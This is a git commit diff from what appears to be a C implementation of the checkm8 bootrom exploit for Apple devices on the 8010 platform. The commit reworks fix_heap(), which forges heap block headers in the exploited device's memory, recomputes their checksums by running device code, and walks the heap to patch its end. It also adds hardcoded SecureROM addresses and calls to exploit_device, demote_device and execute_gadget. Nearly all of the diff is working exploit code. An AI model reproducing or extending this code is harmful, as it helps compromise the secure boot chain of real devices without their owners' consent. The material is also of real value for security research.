Improve heap fixing (works now to get iBoot!)

This commit is contained in:
2020-03-10 20:31:31 -04:00
parent d77df9b994
commit 621debcea3
4 changed files with 134 additions and 28 deletions

View File

@@ -40,6 +40,10 @@
#define ADDR_DEV_MEMALIGN 0x10000f380
#define ADDR_DEV_FREE 0x10000f1b0
#define ADDR_HEAP_COOKIE 0x180080640
#define ADDR_HEAP_BASE 0x1801b4000
#define ADDR_HEAP_END 0x1801fffc0
/* Misc */
#define ADDR_RANDOM_RET 0x10000b924
#define ADDR_SYNC_ENTRY 0x1800afc84

View File

@@ -17,6 +17,21 @@ struct aes_constants
unsigned char rc_lookup[11];
} __attribute__ ((packed));
struct heap_header
{
unsigned long long chksum;
unsigned long long pad[3];
unsigned long long curr_size;
unsigned long long curr_free : 1;
unsigned long long prev_free : 1;
unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2);
unsigned long long pad_start;
unsigned long long pad_end;
} header;
struct bern_data
{
double t[16][256];

View File

@@ -14,6 +14,7 @@
#include <stdarg.h>
#include <execinfo.h>
#include <dev/addr.h>
#endif
@@ -182,23 +183,28 @@ void run_corr_exp(struct pwned_device *dev, char *fname)
int main()
{
struct pwned_device *dev = exploit_device();
if(dev == NULL || dev->status == DEV_NORMAL)
{
printf("Failed to exploit device\n");
return -1;
}
fix_heap(dev);
open_device_session(dev);
demote_device(dev);
fix_heap(dev);
usb_task_exit(dev);
run_corr_exp(dev, "key00");
close_device_session(dev);
uninstall_all_data(dev);
uninstall_all_payloads(dev);
// crash!
execute_gadget(dev, 0, 0, 0);
// run_corr_exp(dev, "key00");
//
// uninstall_all_data(dev);
// uninstall_all_payloads(dev);
//
// // crash!
// execute_gadget(dev, 0, 0, 0);
free_device(dev);
return 0;
}

View File

@@ -398,37 +398,118 @@ int demote_device(struct pwned_device *dev)
int fix_heap(struct pwned_device *dev)
{
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
int close;
struct heap_header block;
struct dev_cmd_resp *resp;
#if CHECKM8_PLATFORM == 8010
unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
unsigned long long calc_args[5];
int ret, i;
unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
#if CHECKM8_PLATFORM == 8010
unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40};
unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280};
if(is_device_session_open(dev)) close = 0;
else
memset(&block, 0, sizeof(struct heap_header));
block.curr_size = (0x80 / 0x40);
block.pad_start = 0x80;
calc_args[0] = ADDR_CALC_CHKSUM;
//calc_args[1-2] block specific
calc_args[3] = 32;
calc_args[4] = ADDR_HEAP_COOKIE;
for(i = 0; i < 3; i++)
{
close = 1;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
block.prev_size = prev_sizes[i];
resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to open a device session\n");
return CHECKM8_FAIL_XFER;
checkm8_debug_indent("\tfailed to write block %i header\n", i);
return ret;
}
calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i);
return ret;
}
}
dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
calc_args[0] = ADDR_CHECK_ALL_CHKSUMS;
dev_exec(dev, 0, 1, calc_args);
calc_args[0] = ADDR_CALC_CHKSUM;
dev_exec(dev, 0, 5, calc1_args);
dev_exec(dev, 0, 5, calc2_args);
dev_exec(dev, 0, 5, calc3_args);
unsigned long long curr = ADDR_HEAP_BASE;
while(1)
{
resp = dev_read_memory(dev, curr, sizeof(struct heap_header));
memcpy(&block, resp->data, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(close) close_device_session(dev);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr);
return ret;
}
if(curr + block.curr_size * 0x40 == ADDR_HEAP_END)
{
block.curr_size -= 1;
resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write second-to-last block header\n");
return ret;
}
calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n");
return ret;
}
block.prev_free = block.curr_free;
block.prev_size = block.curr_size;
block.curr_free = 0;
block.curr_size = 1;
resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header),
(unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write last block header\n");
return ret;
}
calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header);
calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20;
calc_args[3] = 32;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate last block checksum\n");
return ret;
}
break;
}
curr += block.curr_size * 0x40;
}
#else
#error "Can't fix heap for unknown platform"